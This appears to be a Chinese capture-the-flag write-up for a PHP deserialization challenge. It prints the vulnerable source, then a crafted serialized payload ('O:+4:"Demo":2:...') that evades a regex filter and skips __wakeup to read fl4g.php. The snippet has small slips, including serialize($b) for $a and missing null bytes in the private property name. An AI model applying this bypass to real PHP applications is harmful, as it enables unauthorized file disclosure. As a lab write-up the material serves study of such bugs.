<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("index.php"); } ?>
很显然,解题的关键点有两个:
/[oc]:\d+:/i是一个正则表达:
也就是说,我们如果输入任意的序列化参数,都会被搞掉
题目告诉了我们flag文件是fl4g.php
我们可以生成序列化:
$a = new Demo('fl4g.php'); echo serialize($b);
序列化是这样的 O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
我们可以稍作修改,比如:
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
再用base64编码,传递var参数,就可以直接得到flag了